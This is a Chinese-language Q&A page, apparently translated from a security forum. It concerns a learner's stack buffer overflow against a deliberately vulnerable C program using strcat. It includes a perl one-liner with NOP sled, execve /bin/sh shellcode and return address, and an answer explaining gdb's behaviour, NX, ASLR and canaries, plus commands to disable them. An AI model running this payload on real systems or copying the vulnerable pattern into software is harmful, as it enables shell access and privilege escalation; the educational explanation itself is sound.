当我覆盖易受攻击程序的 ret 地址时,为什么会出现“找不到当前函数的边界”?

信息安全 缓冲区溢出 C
2021-08-20 01:19:25

我想利用基于堆栈的缓冲区溢出来进行教育。有一个典型的函数调用了一个来自 main 的参数作为程序的输入和一个保存参数的本地缓冲区。给定一个输入,例如 nops+shellcode +address_shellcode 我将利用它。在使用 gdb 调试后,我找到了 shellcode 的地址,因为它将作为参数传递,并且在 strcpy 之后我检查堆栈并且返回地址 $ebp+8 已成功覆盖shellcode的地址。所以我有我想要的。但是当我向前执行时,我得到了:

->shellcode_address in ?? ()

接着

Cannot find bound of current function

返回地址具有我想要的值。任何想法发生了什么?此外,当我执行它时,我遇到了分段错误,我已经用 -g -fno-stack-protector 编译了它

这是代码:

void echo(char *s, unsigned int length, long int a, short b)
{
  unsigned char len = (unsigned char) l;
  char errormsg[] = "bla bla bla\n";
  char buf[250] = "You typed: ";

  strcat(buf+11, s);


  fprintf(stdout, "%s\n", buf);



int main(int argc, char **argv)
{
  gid_t r_gid, e_gid;

  /* check arguments */
  if (argc != 2) {
    fprintf(stderr, "please provide one argument to echo\n");
    return 1;
  }


  /* clear environment */
  clearenv();
  setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
  setenv ("IFS", " \t\n", 1);


  /* temporarily drop privileges */
  e_gid = getegid();
  r_gid = getgid();
  setregid(e_gid, r_gid);


  /* call the echo service */
  echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);

  return 0;
}

我在 gdb 中发现,如果您覆盖 309 个字节,那么您将使用输入的最后 4 个字节完全覆盖返回地址,这正是我们想要的。因此,由于 shell 代码的长度为 45 个字节,我们想要这样的东西: \x90 x 260 。“外壳代码”。4字节地址(260+45+4=309)

为了找到函数的第一个参数的地址,我运行了几次 gdb,输入了一个 309 字节长的字符串,地址始终相同:0x5ffff648

因此,如果我附加一个地址(相反的顺序,即:0xabcdefgh - > \xgh\xef\xcd\xab),该地址在参数指向的位置更高,处理器将进入 NOP 命令,直到它到达我结束的 shellcode有了这个:r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'

1个回答

内存只是一个巨大的字节序列。当 gdb 想告诉你你在“哪里”时,它喜欢猜测当前执行的操作码是什么“功能”,以便它可以编写它(“你在 main() 中,第 17 行”)。为此,gdb 必须使用一些额外的信息,例如:

  • 符号表,说明每个函数在可执行文件中的起始位置,以及它们的大小;
  • 调试信息(由 gcc 使用 '-g' 标志添加);
  • 启发式分析代码块,以检测经典函数序言(“ push %ebp; movl %esp, %ebp”,又名 0x55 0x89 0xE5)和结尾(“ ret”,0xC3)的标志。

您的“shell代码”在RAM中(在堆栈中)不在从可执行文件映射的部分中(而是在堆栈中),并且无论如何编译器都看不到,所以它是符号表或任何调试信息均未涵盖。它也是一段非常非典型的代码,没有序言(序言是关于准备堆栈以便可以检索参数,并在退出时清理堆栈)并且也没有结尾:“shell代码”进行execve()系统调用,所以它不关心保持堆栈清洁或返回。因此,难怪 gdb 找不到他跳入的“函数”应该在哪里开始或结束。


您的分段错误是另一回事。我的猜测是包含堆栈的页面被标记为不可执行,因此当跳转到“shell 代码”时,内核会捕获并杀死有问题的进程。在 Linux 系统中有几种与缓冲区溢出相关的保护机制(我假设您使用的是 Linux):

  • 堆栈可以标记为“不可执行”。在 x86 32 位处理器上,这可以通过段(旧时代的残余)或通过 MMU(使用NX 位,在支持它的机器上,或使用某些TLB ninjitsu)或两者兼而有之来实现。

  • 地址空间布局随机化在每次执行时以随机方式修改应用程序各种元素的地址。这使得攻击者更难猜测他想要在“返回地址”槽上存储的值(通过缓冲区溢出)。不可执行堆栈意味着漏洞利用必须跳转到一些现有的代码(例如 libc 代码),而不是堆栈中的某个位置;ASLR 移动 libc 以使其成为一个硬目标。

  • 编译器生成的代码可能包括防止接受缓冲区溢出本身的安全措施。最新版本的 gcc 将生成一些额外的隐藏代码,用于验证是否执行决定性的ret. 基本上,“金丝雀”随机值存储在“返回地址”槽之前的函数入口处;局部变量的缓冲区溢出,为了触及返回地址,必须“越过”金丝雀,并且(很有可能)会改变它的值。gcc 生成的代码将检查金丝雀,如果它的值发生变化,则在从函数返回之前中止进程。

通过使用 编译-fno-stack-protector,您可以停用金丝雀代码(gcc 未在生成的可执行文件中包含金丝雀代码)。通过使用sysctl -w kernel.randmoize_va_space=0,您可以停用 ASLR(机器范围)。我的猜测是第一个系统(不可执行的堆栈页面)在您的机器上仍然处于活动状态,因此出现了段错误。您可以尝试使用execstack命令停用可执行文件堆栈的 NX 位处理(它似乎不是常规 Ubuntu 安装的一部分;安装“execstack”包来获取它)。